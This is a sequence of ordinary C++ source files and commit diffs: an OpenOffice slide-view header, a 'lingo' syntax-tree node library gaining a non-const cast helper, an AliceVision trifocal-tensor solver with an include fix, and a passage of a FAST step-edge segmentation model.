901 San Antonio Road, Palo Alto, CA 94303, USA * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License version 2.1, as published by the Free Software Foundation. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, * MA 02111-1307 USA * * * Sun Industry Standards Source License Version 1.1 * ================================================= * The contents of this file are subject to the Sun Industry Standards * Source License Version 1.1 (the "License"); You may not use this file * except in compliance with the License. You may obtain a copy of the * License at http://www.openoffice.org/license.html. * * Software provided under this License is provided on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS, * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING. * See the License for the specific provisions governing your rights and * obligations concerning the Software. * * The Initial Developer of the Original Code is: Sun Microsystems, Inc. * * Copyright: 2000 by Sun Microsystems, Inc. * * All Rights Reserved. * * Contributor(s): _______________________________________ * * ************************************************************************/ #ifndef SD_UNO_SLIDE_VIEW_HXX #define SD_UNO_SLIDE_VIEW_HXX #ifndef SD_DRAW_CONTROLLER_HXX #include "DrawController.hxx" #endif #ifndef _COM_SUN_STAR_DRAWING_XDRAWVIEW_HPP_ #include <com/sun/star/drawing/XDrawView.hpp> #endif #ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_ #include <com/sun/star/lang/XServiceInfo.hpp> #endif #ifndef _COM_SUN_STAR_VIEW_XSELECTIONSUPPLIER_HPP_ #include <com/sun/star/view/XSelectionSupplier.hpp> #endif #ifndef _SFX_SFXBASECONTROLLER_HXX_ #include <sfx2/sfxbasecontroller.hxx> #endif #ifndef _CPPUHELPER_PROPSHLP_HXX #include <cppuhelper/propshlp.hxx> #endif #ifndef _CPPUHELPER_PROPTYPEHLP_HXX #include <cppuhelper/proptypehlp.hxx> #endif #ifndef _CPPUHELPER_INTERFACECONTAINER_H_ #include <cppuhelper/interfacecontainer.h> #endif #ifndef _SVX_UNOSHAPE_HXX #include <svx/unoshape.hxx> #endif namespace sd { class ViewShellBase; class SlideViewShell; class View; /** * This class implements the view component for a SdOutlineViewShell */ class SdUnoSlideView : public DrawController { public: SdUnoSlideView ( ViewShellBase& rBase, ViewShell& rViewShell, View& rView) throw(); virtual ~SdUnoSlideView() throw(); // XTypeProvider virtual ::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL getImplementationId( ) throw(::com::sun::star::uno::RuntimeException); // XServiceInfo virtual ::rtl::OUString SAL_CALL getImplementationName() throw(::com::sun::star::uno::RuntimeException); private: sal_Bool mbDisposing; Rectangle maLastVisArea; }; } // end of namespace sd #endif <|endoftext|>
<commit_before>// Copyright (c) 2015 Andrew Sutton // All rights reserved #ifndef LINGO_NODE_HPP #define LINGO_NODE_HPP #include <cassert> #include <vector> #include <type_traits> // This module provides defines a node abstraction for various // kinds of trees used in different languages and facilities // for working with those abstractions. namespace lingo { class Token; // The Kind_of class is a helper class that supports the definition // of node models. This provides a static representation of the // node kind and a static `is` function for dynamic type testing. template<typename T, T K> struct Kind_base { static constexpr T node_kind = K; static bool is(T k) { return node_kind == k; } }; // -------------------------------------------------------------------------- // // Generic terms // The Term template provides a facility for making an arbitrary // type model the requirements of a node. This is useful for // defining terms that do not fall into other categegories (types, // expressions, declarations, statments, etc). // // The "kind" of the node can be specified by the integer template // argument N, but it is rarely useful to define it as anything // other. template<int N = 0> struct Term : Kind_base<int, N> { virtual ~Term() { } char const* node_name() const { return "<unspecified term>"; } int kind() const { return N; } }; // -------------------------------------------------------------------------- // // Special values // // The following functions define special values of node pointers. // Returns true if the node is empty. template<typename T> inline bool is_empty_node(T const* t) { return t == nullptr; } // Construct a node pointer that acts as an error value. // The type of the node is explicitly given as a template // argument. template<typename T> inline T* make_error_node() { return (T*)0x01; } // Returns true if `t` is an error node. template<typename T> inline bool is_error_node(T const* t) { return t == make_error_node<T>(); } // Returns true if `t` is neither null nor an error. template<typename T> inline bool is_valid_node(T const* t) { return t && !is_error_node(t); } // -------------------------------------------------------------------------- // // Dynamic type information // Returns true if the object pointed to by `u` has // the dynamic type `T`. template<typename T, typename U> inline bool is(U const* u) { return T::is(u->kind()); } // Statically cast a pointer to a Node of type T to a // pointer to a Node of type U. This is not a checked // operation (except in debug mode). // // Note that this allows null and error nodes to be // interpreted as nodes of the given type (as their // values are considered common to all). template<typename T, typename U> inline T* cast(U* u) { assert(is_valid_node(u) ? is<T>(u) : true); return static_cast<T*>(u); } template<typename T, typename U> inline T const* cast(U const* u) { assert(is_valid_node(u) ? is<T>(u) : true); return static_cast<T const*>(u); } // Returns `u` with type `T*` iff the object pointed // to by `u` has dynamic type `T`. template<typename T, typename U> inline T* as(U* u) { return is<T>(u) ? cast<T>(u) : nullptr; } template<typename T, typename U> inline T const* as(U const* u) { return is<T>(u) ? cast<T>(u) : nullptr; } // -------------------------------------------------------------------------- // // Concepts // // There are several concepts describing the kinds of nodes over // which an algorithm can operate generically. The primary // characterization // of node types is based on their arity. // // ## The Node concept // // Every node in an abstract syntax tree must provide a static // constexpr member, node_kind that statically defines the kind // of node. // // ## Node arity // // Nodes with fixed arity have tuple-like member names (e.g., // first, second, third). These accessor members correspond to // the sub-terms of each node. Accessor members may have different // tpyes, and are not required to be nodes. // // A nullary node is a Node is an empty tuple, and has no // accessor members. A unary node has only accessor member // `first`. A binary node has only `first` and `second`. // A ternary node has `first`, second`, and `third`. // // Note that more arity nodes can be defined if needed. // // A k-ary has k sub-terms, and that range of terms is accessed // by its `begin()` and `end()` members. The types of these // sub-terms are the same. namespace traits { // A helper trait used to detect substitution failures. template<typename T> struct is_non_void { static constexpr bool value = true; }; template<> struct is_non_void<void> { static constexpr bool value = false; }; // Detect the existince of the member T::node_kind. template<typename T> struct node_kind_type { template<typename U> static auto f(U* p) -> decltype(U::node_kind); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existince of the member t->first. template<typename T> struct first_type { template<typename U> static auto f(U* p) -> decltype(p->first); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existence of the member t->second; template<typename T> struct second_type { template<typename U> static auto f(U* p) -> decltype(p->second); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existence of the member t->third; template<typename T> struct third_type { template<typename U> static auto f(U* p) -> decltype(p->third); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existence of the member t->begin(). template<typename T> struct begin_type { template<typename U> static auto f(U* p) -> decltype(p->begin()); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existence of the member t->end(). template<typename T> struct end_type { template<typename U> static auto f(U* p) -> decltype(p->end()); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Returns true when `T` has the static member object `node_kind`. template<typename T> constexpr bool has_node_kind() { return is_non_void<typename node_kind_type<T>::type>::value; } // Returns true when `T` has the member `first`. template<typename T> constexpr bool has_first() { return is_non_void<typename first_type<T>::type>::value; } // Returns true when `T` has the member `second`. template<typename T> constexpr bool has_second() { return is_non_void<typename second_type<T>::type>::value; } // Returns true when `T` has the member `third`. template<typename T> constexpr bool has_third() { return is_non_void<typename third_type<T>::type>::value; } // Returns true when `T` has the member `begin`. template<typename T> constexpr bool has_begin() { return is_non_void<typename begin_type<T>::type>::value; } // Returns true when `T` has the member `end`. template<typename T> constexpr bool has_end() { return is_non_void<typename end_type<T>::type>::value; } } // namesapce traits // Returns true if T models the Node concept. template<typename T> constexpr bool is_node() { return traits::has_node_kind<T>(); } // Returns true if T is a Nullary_node. template<typename T> constexpr bool is_nullary_node() { return is_node<T>() && !traits::has_first<T>() // Not a unary node && !traits::has_begin<T>(); // Not a k-ary node } // Returns true if T is a unary node. template<typename T> constexpr bool is_unary_node() { return is_node<T>() && traits::has_first<T>() && !traits::has_second<T>(); } // Returns true if T is a binary node. template<typename T> constexpr bool is_binary_node() { return is_node<T>() && traits::has_second<T>() && !traits::has_third<T>(); } // Returns true if T is a ternary node. template<typename T> constexpr bool is_ternary_node() { return is_node<T>() && traits::has_first<T>() && traits::has_second<T>() && traits::has_third<T>(); } // Returns true if T is a k-ary node. template<typename T> constexpr bool is_kary_node() { return is_node<T>() && traits::has_begin<T>() && traits::has_end<T>(); } // -------------------------------------------------------------------------- // // Reqiured term // The Maybe template is typically used to declare node // pointers within condition declarations. // // if (Required<Var_decl> var = ...) // // This class contextually evaluates to `true` whenever // it is initialized to a non-null, non-error value. template<typename T> struct Required { Required(T const* p) : ptr(p) { } // Returns true iff the term is valid. explicit operator bool() const { return is_valid_node(ptr); } // Returns the underlying term, even if it is an error or // empty term. T const* operator*() const { return ptr; } T const* operator->() const { return ptr; } bool is_error() const { return is_error_node(ptr); } bool is_empty() const { return is_empty_node(ptr); } T const* ptr; }; // -------------------------------------------------------------------------- // // Optional results // The Optional template is typically used to declare node // pointers within condition declarations. // // if (Optional<Var_decl> var = ...) // // This class contextually evaluates to `true` whenever // it is a non-error value. Note that the term may be empty. template<typename T> struct Optional { Optional(T const* p) : ptr(p) { } // Returns true iff the term is valid or empty. explicit operator bool() const { return !is_error_node(ptr); } // Returns the underlying term, even if it is an error. T const* operator*() const { return ptr; } T const* operator->() const { return ptr; } bool is_error() const { return is_error_node(ptr); } bool is_empty() const { return is_empty_node(ptr); } T const* ptr; }; // -------------------------------------------------------------------------- // // Nonempty results // The Nonempty template is typically used to declare node // pointers within condition declarations. // // if (Nonempty<Var_decl> var = ...) // // This class contextually evaluates to `true` whenever // is non-empty. Note that error conditions are treated as // valid results. template<typename T> struct Nonempty { Nonempty(T const* p) : ptr(p) { } // Returns true iff the term is non-empty. explicit operator bool() const { return !is_empty_node(ptr); } // Returns the underlying term, even if it is a empty. T const* operator*() const { return ptr; } T const* operator->() const { return ptr; } bool is_error() const { return is_error_node(ptr); } bool is_empty() const { return is_empty_node(ptr); } T const* ptr; }; } // namespace lingo #endif <commit_msg>Add a cast to non-const function.<commit_after>// Copyright (c) 2015 Andrew Sutton // All rights reserved #ifndef LINGO_NODE_HPP #define LINGO_NODE_HPP #include <cassert> #include <vector> #include <type_traits> // This module provides defines a node abstraction for various // kinds of trees used in different languages and facilities // for working with those abstractions. namespace lingo { class Token; // The Kind_of class is a helper class that supports the definition // of node models. This provides a static representation of the // node kind and a static `is` function for dynamic type testing. template<typename T, T K> struct Kind_base { static constexpr T node_kind = K; static bool is(T k) { return node_kind == k; } }; // -------------------------------------------------------------------------- // // Generic terms // The Term template provides a facility for making an arbitrary // type model the requirements of a node. This is useful for // defining terms that do not fall into other categegories (types, // expressions, declarations, statments, etc). // // The "kind" of the node can be specified by the integer template // argument N, but it is rarely useful to define it as anything // other. template<int N = 0> struct Term : Kind_base<int, N> { virtual ~Term() { } char const* node_name() const { return "<unspecified term>"; } int kind() const { return N; } }; // -------------------------------------------------------------------------- // // Special values // // The following functions define special values of node pointers. // Returns true if the node is empty. template<typename T> inline bool is_empty_node(T const* t) { return t == nullptr; } // Construct a node pointer that acts as an error value. // The type of the node is explicitly given as a template // argument. template<typename T> inline T* make_error_node() { return (T*)0x01; } // Returns true if `t` is an error node. template<typename T> inline bool is_error_node(T const* t) { return t == make_error_node<T>(); } // Returns true if `t` is neither null nor an error. template<typename T> inline bool is_valid_node(T const* t) { return t && !is_error_node(t); } // -------------------------------------------------------------------------- // // Dynamic type information // Returns true if the object pointed to by `u` has // the dynamic type `T`. template<typename T, typename U> inline bool is(U const* u) { return T::is(u->kind()); } // Statically cast a pointer to a Node of type T to a // pointer to a Node of type U. This is not a checked // operation (except in debug mode). // // Note that this allows null and error nodes to be // interpreted as nodes of the given type (as their // values are considered common to all). template<typename T, typename U> inline T* cast(U* u) { assert(is_valid_node(u) ? is<T>(u) : true); return static_cast<T*>(u); } template<typename T, typename U> inline T const* cast(U const* u) { assert(is_valid_node(u) ? is<T>(u) : true); return static_cast<T const*>(u); } // Returns `u` with type `T*` iff the object pointed // to by `u` has dynamic type `T`. template<typename T, typename U> inline T* as(U* u) { return is<T>(u) ? cast<T>(u) : nullptr; } template<typename T, typename U> inline T const* as(U const* u) { return is<T>(u) ? cast<T>(u) : nullptr; } // Return a non-const pointer to the term. This is used // to modify a term post-initializatoin (which should // be rare). template<typename T> inline T* modify(T const* t) { return const_cast<T*>(t); } // -------------------------------------------------------------------------- // // Concepts // // There are several concepts describing the kinds of nodes over // which an algorithm can operate generically. The primary // characterization // of node types is based on their arity. // // ## The Node concept // // Every node in an abstract syntax tree must provide a static // constexpr member, node_kind that statically defines the kind // of node. // // ## Node arity // // Nodes with fixed arity have tuple-like member names (e.g., // first, second, third). These accessor members correspond to // the sub-terms of each node. Accessor members may have different // tpyes, and are not required to be nodes. // // A nullary node is a Node is an empty tuple, and has no // accessor members. A unary node has only accessor member // `first`. A binary node has only `first` and `second`. // A ternary node has `first`, second`, and `third`. // // Note that more arity nodes can be defined if needed. // // A k-ary has k sub-terms, and that range of terms is accessed // by its `begin()` and `end()` members. The types of these // sub-terms are the same. namespace traits { // A helper trait used to detect substitution failures. template<typename T> struct is_non_void { static constexpr bool value = true; }; template<> struct is_non_void<void> { static constexpr bool value = false; }; // Detect the existince of the member T::node_kind. template<typename T> struct node_kind_type { template<typename U> static auto f(U* p) -> decltype(U::node_kind); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existince of the member t->first. template<typename T> struct first_type { template<typename U> static auto f(U* p) -> decltype(p->first); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existence of the member t->second; template<typename T> struct second_type { template<typename U> static auto f(U* p) -> decltype(p->second); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existence of the member t->third; template<typename T> struct third_type { template<typename U> static auto f(U* p) -> decltype(p->third); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existence of the member t->begin(). template<typename T> struct begin_type { template<typename U> static auto f(U* p) -> decltype(p->begin()); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Detect the existence of the member t->end(). template<typename T> struct end_type { template<typename U> static auto f(U* p) -> decltype(p->end()); static void f(...); using type = decltype(f(std::declval<T*>())); }; // Returns true when `T` has the static member object `node_kind`. template<typename T> constexpr bool has_node_kind() { return is_non_void<typename node_kind_type<T>::type>::value; } // Returns true when `T` has the member `first`. template<typename T> constexpr bool has_first() { return is_non_void<typename first_type<T>::type>::value; } // Returns true when `T` has the member `second`. template<typename T> constexpr bool has_second() { return is_non_void<typename second_type<T>::type>::value; } // Returns true when `T` has the member `third`. template<typename T> constexpr bool has_third() { return is_non_void<typename third_type<T>::type>::value; } // Returns true when `T` has the member `begin`. template<typename T> constexpr bool has_begin() { return is_non_void<typename begin_type<T>::type>::value; } // Returns true when `T` has the member `end`. template<typename T> constexpr bool has_end() { return is_non_void<typename end_type<T>::type>::value; } } // namesapce traits // Returns true if T models the Node concept. template<typename T> constexpr bool is_node() { return traits::has_node_kind<T>(); } // Returns true if T is a Nullary_node. template<typename T> constexpr bool is_nullary_node() { return is_node<T>() && !traits::has_first<T>() // Not a unary node && !traits::has_begin<T>(); // Not a k-ary node } // Returns true if T is a unary node. template<typename T> constexpr bool is_unary_node() { return is_node<T>() && traits::has_first<T>() && !traits::has_second<T>(); } // Returns true if T is a binary node. template<typename T> constexpr bool is_binary_node() { return is_node<T>() && traits::has_second<T>() && !traits::has_third<T>(); } // Returns true if T is a ternary node. template<typename T> constexpr bool is_ternary_node() { return is_node<T>() && traits::has_first<T>() && traits::has_second<T>() && traits::has_third<T>(); } // Returns true if T is a k-ary node. template<typename T> constexpr bool is_kary_node() { return is_node<T>() && traits::has_begin<T>() && traits::has_end<T>(); } // -------------------------------------------------------------------------- // // Reqiured term // The Maybe template is typically used to declare node // pointers within condition declarations. // // if (Required<Var_decl> var = ...) // // This class contextually evaluates to `true` whenever // it is initialized to a non-null, non-error value. template<typename T> struct Required { Required(T const* p) : ptr(p) { } // Returns true iff the term is valid. explicit operator bool() const { return is_valid_node(ptr); } // Returns the underlying term, even if it is an error or // empty term. T const* operator*() const { return ptr; } T const* operator->() const { return ptr; } bool is_error() const { return is_error_node(ptr); } bool is_empty() const { return is_empty_node(ptr); } T const* ptr; }; // -------------------------------------------------------------------------- // // Optional results // The Optional template is typically used to declare node // pointers within condition declarations. // // if (Optional<Var_decl> var = ...) // // This class contextually evaluates to `true` whenever // it is a non-error value. Note that the term may be empty. template<typename T> struct Optional { Optional(T const* p) : ptr(p) { } // Returns true iff the term is valid or empty. explicit operator bool() const { return !is_error_node(ptr); } // Returns the underlying term, even if it is an error. T const* operator*() const { return ptr; } T const* operator->() const { return ptr; } bool is_error() const { return is_error_node(ptr); } bool is_empty() const { return is_empty_node(ptr); } T const* ptr; }; // -------------------------------------------------------------------------- // // Nonempty results // The Nonempty template is typically used to declare node // pointers within condition declarations. // // if (Nonempty<Var_decl> var = ...) // // This class contextually evaluates to `true` whenever // is non-empty. Note that error conditions are treated as // valid results. template<typename T> struct Nonempty { Nonempty(T const* p) : ptr(p) { } // Returns true iff the term is non-empty. explicit operator bool() const { return !is_empty_node(ptr); } // Returns the underlying term, even if it is a empty. T const* operator*() const { return ptr; } T const* operator->() const { return ptr; } bool is_error() const { return is_error_node(ptr); } bool is_empty() const { return is_empty_node(ptr); } T const* ptr; }; } // namespace lingo #endif <|endoftext|>
<commit_before>// This file is part of the AliceVision project. // Copyright (c) 2016 AliceVision contributors. // Copyright (c) 2012 openMVG contributors. // This Source Code Form is subject to the terms of the Mozilla Public License, // v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at https://mozilla.org/MPL/2.0/. #pragma once #include "aliceVision/numeric/numeric.hpp" #include <aliceVision/config.hpp> #include <aliceVision/multiview/projection.hpp> #include "aliceVision/multiview/conditioning.hpp" #include "aliceVision/multiview/triangulation/Triangulation.hpp" // Linear programming solver(s) #include "aliceVision/linearProgramming/ISolver.hpp" #include "aliceVision/linearProgramming/OSIXSolver.hpp" #if ALICEVISION_IS_DEFINED(ALICEVISION_HAVE_MOSEK) #include "aliceVision/linearProgramming/MOSEKSolver.hpp" #endif #include "aliceVision/linearProgramming/bisectionLP.hpp" #include "aliceVision/linearProgramming/lInfinityCV/tijsAndXis_From_xi_Ri.hpp" namespace aliceVision { namespace trifocal { namespace kernel { /// A trifocal tensor seen as 3 projective cameras struct TrifocalTensorModel { Mat34 P1, P2, P3; static double Error(const TrifocalTensorModel & t, const Vec2 & pt1, const Vec2 & pt2, const Vec2 & pt3) { // Triangulate Triangulation triangulationObj; triangulationObj.add(t.P1, pt1); triangulationObj.add(t.P2, pt2); triangulationObj.add(t.P3, pt3); const Vec3 X = triangulationObj.compute(); // Return the maximum observed reprojection error const double pt1ReProj = (Project(t.P1, X) - pt1).squaredNorm(); const double pt2ReProj = (Project(t.P2, X) - pt2).squaredNorm(); const double pt3ReProj = (Project(t.P3, X) - pt3).squaredNorm(); return std::max(pt1ReProj, std::max(pt2ReProj,pt3ReProj)); } }; } // namespace kernel } // namespace trifocal } // namespace aliceVision namespace aliceVision{ using namespace aliceVision::trifocal::kernel; /// Solve the translations and the structure of a view-triplet that have known rotations struct translations_Triplet_Solver { enum { MINIMUM_SAMPLES = 4 }; enum { MAX_MODELS = 1 }; /// Solve the computation of the "tensor". static void Solve( const Mat &pt0, const Mat & pt1, const Mat & pt2, const std::vector<Mat3> & vec_KR, std::vector<TrifocalTensorModel> *P, const double ThresholdUpperBound) { //Build the megaMatMatrix const int n_obs = pt0.cols(); Mat4X megaMat(4, n_obs*3); { size_t cpt = 0; for (size_t i = 0; i < n_obs; ++i) { megaMat.col(cpt++) << pt0.col(i)(0), pt0.col(i)(1), (double)i, 0.0; megaMat.col(cpt++) << pt1.col(i)(0), pt1.col(i)(1), (double)i, 1.0; megaMat.col(cpt++) << pt2.col(i)(0), pt2.col(i)(1), (double)i, 2.0; } } //-- Solve the LInfinity translation and structure from Rotation and points data. std::vector<double> vec_solution((3 + MINIMUM_SAMPLES)*3); using namespace aliceVision::lInfinityCV; #if ALICEVISION_IS_DEFINED(ALICEVISION_HAVE_MOSEK) MOSEKSolver LPsolver(static_cast<int>(vec_solution.size())); #else OSI_CISolverWrapper LPsolver(static_cast<int>(vec_solution.size())); #endif Translation_Structure_L1_ConstraintBuilder cstBuilder(vec_KR, megaMat); double gamma; if (BisectionLP<Translation_Structure_L1_ConstraintBuilder, LPConstraintsSparse>( LPsolver, cstBuilder, &vec_solution, ThresholdUpperBound, 0.0, 1e-8, 2, &gamma, false)) { const std::vector<Vec3> vec_tis = { Vec3(vec_solution[0], vec_solution[1], vec_solution[2]), Vec3(vec_solution[3], vec_solution[4], vec_solution[5]), Vec3(vec_solution[6], vec_solution[7], vec_solution[8])}; TrifocalTensorModel PTemp; PTemp.P1 = HStack(vec_KR[0], vec_tis[0]); PTemp.P2 = HStack(vec_KR[1], vec_tis[1]); PTemp.P3 = HStack(vec_KR[2], vec_tis[2]); P->push_back(PTemp); } } // Compute the residual of reprojections static double Error( const TrifocalTensorModel & Tensor, const Vec2 & pt0, const Vec2 & pt1, const Vec2 & pt2) { return TrifocalTensorModel::Error(Tensor, pt0, pt1, pt2); } }; } // namespace aliceVision <commit_msg>Fix: change angle brackets <> to double quotes ""<commit_after>// This file is part of the AliceVision project. // Copyright (c) 2016 AliceVision contributors. // Copyright (c) 2012 openMVG contributors. // This Source Code Form is subject to the terms of the Mozilla Public License, // v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at https://mozilla.org/MPL/2.0/. #pragma once #include "aliceVision/numeric/numeric.hpp" #include "aliceVision/config.hpp" #include "aliceVision/multiview/projection.hpp" #include "aliceVision/multiview/conditioning.hpp" #include "aliceVision/multiview/triangulation/Triangulation.hpp" // Linear programming solver(s) #include "aliceVision/linearProgramming/ISolver.hpp" #include "aliceVision/linearProgramming/OSIXSolver.hpp" #if ALICEVISION_IS_DEFINED(ALICEVISION_HAVE_MOSEK) #include "aliceVision/linearProgramming/MOSEKSolver.hpp" #endif #include "aliceVision/linearProgramming/bisectionLP.hpp" #include "aliceVision/linearProgramming/lInfinityCV/tijsAndXis_From_xi_Ri.hpp" namespace aliceVision { namespace trifocal { namespace kernel { /// A trifocal tensor seen as 3 projective cameras struct TrifocalTensorModel { Mat34 P1, P2, P3; static double Error(const TrifocalTensorModel & t, const Vec2 & pt1, const Vec2 & pt2, const Vec2 & pt3) { // Triangulate Triangulation triangulationObj; triangulationObj.add(t.P1, pt1); triangulationObj.add(t.P2, pt2); triangulationObj.add(t.P3, pt3); const Vec3 X = triangulationObj.compute(); // Return the maximum observed reprojection error const double pt1ReProj = (Project(t.P1, X) - pt1).squaredNorm(); const double pt2ReProj = (Project(t.P2, X) - pt2).squaredNorm(); const double pt3ReProj = (Project(t.P3, X) - pt3).squaredNorm(); return std::max(pt1ReProj, std::max(pt2ReProj,pt3ReProj)); } }; } // namespace kernel } // namespace trifocal } // namespace aliceVision namespace aliceVision{ using namespace aliceVision::trifocal::kernel; /// Solve the translations and the structure of a view-triplet that have known rotations struct translations_Triplet_Solver { enum { MINIMUM_SAMPLES = 4 }; enum { MAX_MODELS = 1 }; /// Solve the computation of the "tensor". static void Solve( const Mat &pt0, const Mat & pt1, const Mat & pt2, const std::vector<Mat3> & vec_KR, std::vector<TrifocalTensorModel> *P, const double ThresholdUpperBound) { //Build the megaMatMatrix const int n_obs = pt0.cols(); Mat4X megaMat(4, n_obs*3); { size_t cpt = 0; for (size_t i = 0; i < n_obs; ++i) { megaMat.col(cpt++) << pt0.col(i)(0), pt0.col(i)(1), (double)i, 0.0; megaMat.col(cpt++) << pt1.col(i)(0), pt1.col(i)(1), (double)i, 1.0; megaMat.col(cpt++) << pt2.col(i)(0), pt2.col(i)(1), (double)i, 2.0; } } //-- Solve the LInfinity translation and structure from Rotation and points data. std::vector<double> vec_solution((3 + MINIMUM_SAMPLES)*3); using namespace aliceVision::lInfinityCV; #if ALICEVISION_IS_DEFINED(ALICEVISION_HAVE_MOSEK) MOSEKSolver LPsolver(static_cast<int>(vec_solution.size())); #else OSI_CISolverWrapper LPsolver(static_cast<int>(vec_solution.size())); #endif Translation_Structure_L1_ConstraintBuilder cstBuilder(vec_KR, megaMat); double gamma; if (BisectionLP<Translation_Structure_L1_ConstraintBuilder, LPConstraintsSparse>( LPsolver, cstBuilder, &vec_solution, ThresholdUpperBound, 0.0, 1e-8, 2, &gamma, false)) { const std::vector<Vec3> vec_tis = { Vec3(vec_solution[0], vec_solution[1], vec_solution[2]), Vec3(vec_solution[3], vec_solution[4], vec_solution[5]), Vec3(vec_solution[6], vec_solution[7], vec_solution[8])}; TrifocalTensorModel PTemp; PTemp.P1 = HStack(vec_KR[0], vec_tis[0]); PTemp.P2 = HStack(vec_KR[1], vec_tis[1]); PTemp.P3 = HStack(vec_KR[2], vec_tis[2]); P->push_back(PTemp); } } // Compute the residual of reprojections static double Error( const TrifocalTensorModel & Tensor, const Vec2 & pt0, const Vec2 & pt1, const Vec2 & pt2) { return TrifocalTensorModel::Error(Tensor, pt0, pt1, pt2); } }; } // namespace aliceVision <|endoftext|>
<commit_before>#include "StepEdgeModel.hpp" #include "FAST/Data/Image.hpp" #include "FAST/Algorithms/ModelBasedSegmentation/Shape.hpp" namespace fast { StepEdgeModel::StepEdgeModel() { mLineLength = 0; mLineSampleSpacing = 0; } typedef struct DetectedEdge { int edgeIndex; float uncertainty; } DetectedEdge; inline DetectedEdge findEdge( std::vector<float> intensityProfile) { // Pre calculate partial sum float * sum_k = new float[intensityProfile.size()](); float totalSum = 0.0f; for(int k = 0; k < intensityProfile.size(); ++k) { if(k == 0) { sum_k[k] = intensityProfile[0]; }else{ sum_k[k] = sum_k[k-1] + intensityProfile[k]; } totalSum += intensityProfile[k]; } float bestScore = std::numeric_limits<float>::max(); int bestK = -1; float bestHeightDifference = 0; for(int k = 0; k < intensityProfile.size()-1; ++k) { float score = 0.0f; if(intensityProfile[k] < 20) continue; for(int t = 0; t <= k; ++t) { score += fabs((1.0f/(k+1))*sum_k[k] - intensityProfile[t]); } for(int t = k+1; t < intensityProfile.size(); ++t) { score += fabs((1.0f/(intensityProfile.size()-k))*(totalSum-sum_k[k]) - intensityProfile[t]); } if(score < bestScore) { bestScore = score; bestK = k; bestHeightDifference = (((1.0/(k+1))*sum_k[bestK] - (1.0f/(intensityProfile.size()-k))*(totalSum-sum_k[bestK]))); } } delete[] sum_k; DetectedEdge edge; // Should be dark inside and bright outside if(bestHeightDifference > 0) { bestK = -1; } edge.edgeIndex = bestK; edge.uncertainty = 1.0f / fabs(bestHeightDifference); return edge; } inline bool isInBounds(Image::pointer image, const Vector4f& position) { return position(0) >= 0 && position(1) >= 0 && position(2) >= 0 && position(0) < image->getWidth() && position(1) < image->getHeight() && position(2) < image->getDepth(); } inline float getValue(void* pixelPointer, Image::pointer image, const Vector4f& position) { uint index = (int)position(0)+(int)position(1)*image->getWidth()+(int)position(2)*image->getWidth()*image->getHeight(); float value; switch(image->getDataType()) { // This macro creates a case statement for each data type and sets FAST_TYPE to the correct C++ data type fastSwitchTypeMacro(value = ((FAST_TYPE*)pixelPointer)[index]); } return value; } std::vector<Measurement> StepEdgeModel::getMeasurements(SharedPointer<Image> image, SharedPointer<Shape> shape) { if(mLineLength == 0 || mLineSampleSpacing == 0) throw Exception("Line length and sample spacing must be given to the StepEdgeModel"); std::vector<Measurement> measurements; Mesh::pointer predictedMesh = shape->getMesh(); MeshAccess::pointer predictedMeshAccess = predictedMesh->getMeshAccess(ACCESS_READ); std::vector<MeshVertex> points = predictedMeshAccess->getVertices(); ImageAccess::pointer access = image->getImageAccess(ACCESS_READ); // For each point on the shape do a line search in the direction of the normal // Return set of displacements and uncertainties if(image->getDimensions() == 3) { AffineTransformation::pointer transformMatrix = SceneGraph::getAffineTransformationFromData(image); transformMatrix->scale(image->getSpacing()); Matrix4f inverseTransformMatrix = transformMatrix->matrix().inverse(); // Get model scene graph transform AffineTransformation::pointer modelTransformation = SceneGraph::getAffineTransformationFromData(shape->getMesh()); MatrixXf modelTransformMatrix = modelTransformation->affine(); // Do edge detection for each vertex int counter = 0; for(int i = 0; i < points.size(); ++i) { std::vector<float> intensityProfile; unsigned int startPos = 0; bool startFound = false; for(float d = -mLineLength/2; d < mLineLength/2; d += mLineSampleSpacing) { Vector3f position = points[i].getPosition() + points[i].getNormal()*d; // Apply model transform // TODO the line search normal*d should propably be applied after this transform, so that we know that is correct units? position = modelTransformMatrix*position.homogeneous(); const Vector4f longPosition(position(0), position(1), position(2), 1); // Apply image inverse transform to get image voxel position const Vector4f positionInt = inverseTransformMatrix*longPosition; try { const float value = access->getScalar(positionInt.cast<int>()); if(value > 0) { intensityProfile.push_back(value); startFound = true; } else if(!startFound) { startPos++; } } catch(Exception &e) { if(!startFound) { startPos++; } } } Measurement m; m.uncertainty = 1; m.displacement = 0; if(startFound){ DetectedEdge edge = findEdge(intensityProfile); if(edge.edgeIndex != -1) { float d = -mLineLength/2.0f + (startPos + edge.edgeIndex)*mLineSampleSpacing; const Vector3f position = points[i].getPosition() + points[i].getNormal()*d; m.uncertainty = edge.uncertainty; const Vector3f normal = points[i].getNormal(); m.displacement = normal.dot(position-points[i].getPosition()); counter++; } } measurements.push_back(m); } } else { Vector3f spacing = image->getSpacing(); // For 2D images // For 2D, we probably want to ignore scene graph, and only use spacing. // Do edge detection for each vertex int counter = 0; for(int i = 0; i < points.size(); ++i) { std::vector<float> intensityProfile; unsigned int startPos = 0; bool startFound = false; for(float d = -mLineLength/2; d < mLineLength/2; d 